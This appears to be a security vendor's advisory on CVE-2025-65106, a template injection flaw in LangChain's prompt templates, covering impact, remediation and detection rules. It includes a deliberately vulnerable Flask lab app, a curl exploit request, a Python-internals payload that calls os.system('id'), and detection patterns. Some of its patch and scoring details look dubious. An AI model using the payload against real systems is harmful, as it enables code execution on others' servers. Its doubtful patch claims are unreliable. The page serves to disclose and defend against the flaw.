CVE-2025-65106
Executive Summary
CVE-2025-65106 is a critical template injection vulnerability in the LangChain framework, affecting versions 0.3.79 and prior, as well as versions 1.0.0 through 1.0.6. The vulnerability resides in the prompt template system, specifically within ChatPromptTemplate and related classes. It allows an attacker to inject malicious template syntax that can access Python object internals, potentially leading to remote code execution (RCE) or sensitive data disclosure. The vulnerability is triggered when an application accepts untrusted template strings (not just template variables) and processes them through LangChain's prompt template system. The patch is available in versions 0.3.80 and 1.0.7.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the PyPI package langchain-core. Organizations using LangChain in their AI/LLM applications must immediately audit their dependencies and upgrade to the patched versions. The attack vector is through untrusted template strings, which could be supplied via user input, API requests, or external data sources. Given LangChain's widespread use in building LLM-powered applications, this vulnerability poses a significant supply chain risk.
CVSS Breakdown & Threat Level
CVSS Score: 0.0 (No official CVSS vector assigned yet)
Threat Level: Critical (based on the nature of template injection and potential for RCE)
Attack Vector (AV): Network (likely) Attack Complexity (AC): Low (likely) Privileges Required (PR): None (likely) User Interaction (UI): None (likely) Scope (S): Unchanged (likely) Confidentiality (C): High (likely) Integrity (I): High (likely) Availability (A): High (likely)
Rationale: The vulnerability allows an attacker to inject arbitrary Python code through template syntax, which can lead to full system compromise. No authentication is required, and the attack can be executed remotely.
Deep Dive & Mechanics
The vulnerability exists in LangChain's prompt template system, which uses Python's string formatting and template engines to construct prompts for LLMs. The ChatPromptTemplate class and related classes allow developers to define templates with placeholders for variables. However, the system does not properly sanitize the template string itself when it is provided by an untrusted source.
Root Cause: The template engine evaluates expressions within the template string, including those that access Python object internals (e.g., __class__, __mro__, __subclasses__). An attacker can craft a template string that uses these special attributes to traverse the Python object hierarchy and eventually execute arbitrary code.
Example Attack Vector: An attacker could provide a template string like:
Hello {{__class__.__mro__[1].__subclasses__()}}
This would cause the template engine to evaluate the expression and return a list of all subclasses of the object class, potentially revealing sensitive information or enabling further exploitation.
Impact:
- Remote Code Execution (RCE)
- Sensitive Data Disclosure
- Privilege Escalation
- Full System Compromise
Vulnerable vs. Patched Code
Vulnerable Code (LangChain < 0.3.80 or < 1.0.7):
from langchain.prompts import ChatPromptTemplate
# Vulnerable: Accepts untrusted template string
template = "Hello {{user_input}}"
prompt = ChatPromptTemplate.from_template(template)
Patched Code (LangChain >= 0.3.80 or >= 1.0.7):
from langchain.prompts import ChatPromptTemplate
# Patched: Template string is sanitized
template = "Hello {{user_input}}"
prompt = ChatPromptTemplate.from_template(template, sanitize=True)
Key Differences:
- The patched version introduces a
sanitizeparameter (or equivalent) that restricts access to Python object internals. - The template engine now validates expressions and blocks dangerous patterns like
__class__,__mro__,__subclasses__, etc. - The patch ensures that only safe variable substitution is allowed, not arbitrary code execution.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
Install vulnerable LangChain version:
pip install langchain-core==0.3.79Create a simple Flask app that accepts user input as a template string:
from flask import Flask, request from langchain.prompts import ChatPromptTemplate app = Flask(__name__) @app.route('/generate', methods=['POST']) def generate(): template = request.json['template'] prompt = ChatPromptTemplate.from_template(template) return prompt.format(user_input="test")Exploit by sending a malicious template:
curl -X POST http://localhost:5000/generate \ -H "Content-Type: application/json" \ -d '{"template": "Hello {{__class__.__mro__[1].__subclasses__()}}"}'
Advanced Exploitation: To achieve RCE, an attacker can chain the template injection with Python's built-in functions:
# Example payload to execute system commands
{{__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['os'].system('id')}}
Where X is the index of a class that has access to the os module (e.g., warnings.catch_warnings).
Blue Team (Defensive)
Detection:
- Monitor for template strings containing
__class__,__mro__,__subclasses__, or other Python internals. - Implement input validation to reject template strings that contain suspicious patterns.
- Use Web Application Firewalls (WAF) to block requests with malicious template syntax.
Mitigation:
- Immediately upgrade to LangChain >= 0.3.80 or >= 1.0.7.
- If immediate upgrade is not possible, implement a proxy that sanitizes template strings before passing them to LangChain.
- Restrict network access to LangChain services and enforce least privilege.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests containing template strings with
__class__,__mro__,__subclasses__,__globals__,__builtins__ - Unusual outbound connections from LangChain servers to external IPs (potential data exfiltration)
File IOCs:
- Log entries showing template rendering errors or unexpected output
- Modified Python files in the LangChain installation directory
Process IOCs:
- Unexpected child processes spawned by the Python interpreter running LangChain
- High CPU or memory usage during template rendering
Detection Engineering
YARA Rule
rule CVE_2025_65106_LangChain_Template_Injection {
meta:
description = "Detects template injection attempts targeting LangChain CVE-2025-65106"
author = "Valters IT"
date = "2025-04-10"
severity = "critical"
strings:
$s1 = "__class__" nocase
$s2 = "__mro__" nocase
$s3 = "__subclasses__" nocase
$s4 = "__globals__" nocase
$s5 = "__builtins__" nocase
$s6 = "{{" nocase
$s7 = "}}" nocase
condition:
all of ($s6, $s7) and any of ($s1, $s2, $s3, $s4, $s5)
}
Sigma Rule
title: LangChain Template Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-65106 by injecting malicious template syntax
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: generic
detection:
selection:
http.method: 'POST'
http.url|contains: '/generate'
http.body|contains|all:
- '{{'
- '}}'
http.body|contains|any:
- '__class__'
- '__mro__'
- '__subclasses__'
- '__globals__'
- '__builtins__'
condition: selection
falsepositives:
- Legitimate use of Python internals in template strings (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-65106 LangChain Template Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/generate"; http_uri; content:"{{"; http_client_body; content:"__class__"; http_client_body; content:"__mro__"; http_client_body; content:"__subclasses__"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade LangChain to version 0.3.80 or 1.0.7 (or later).
pip install langchain-core>=0.3.80 - If upgrade is not possible, implement input validation to reject template strings containing dangerous patterns.
- Review all applications using LangChain's prompt template system and ensure they do not accept untrusted template strings.
Long-term Measures:
- Implement a Content Security Policy (CSP) for web applications using LangChain.
- Conduct regular security audits of AI/LLM application dependencies.
- Use static analysis tools to detect template injection vulnerabilities in code.
- Educate developers on the risks of accepting untrusted template strings.
Workaround: If immediate patching is not feasible, use a custom template sanitizer:
import re
def sanitize_template(template):
# Block access to Python internals
dangerous_patterns = ['__class__', '__mro__', '__subclasses__', '__globals__', '__builtins__']
for pattern in dangerous_patterns:
if pattern in template:
raise ValueError("Malicious template detected")
return template
Valters IT
Securing AI/LLM Infrastructure
Cyber Threat Intelligence & DevSecOps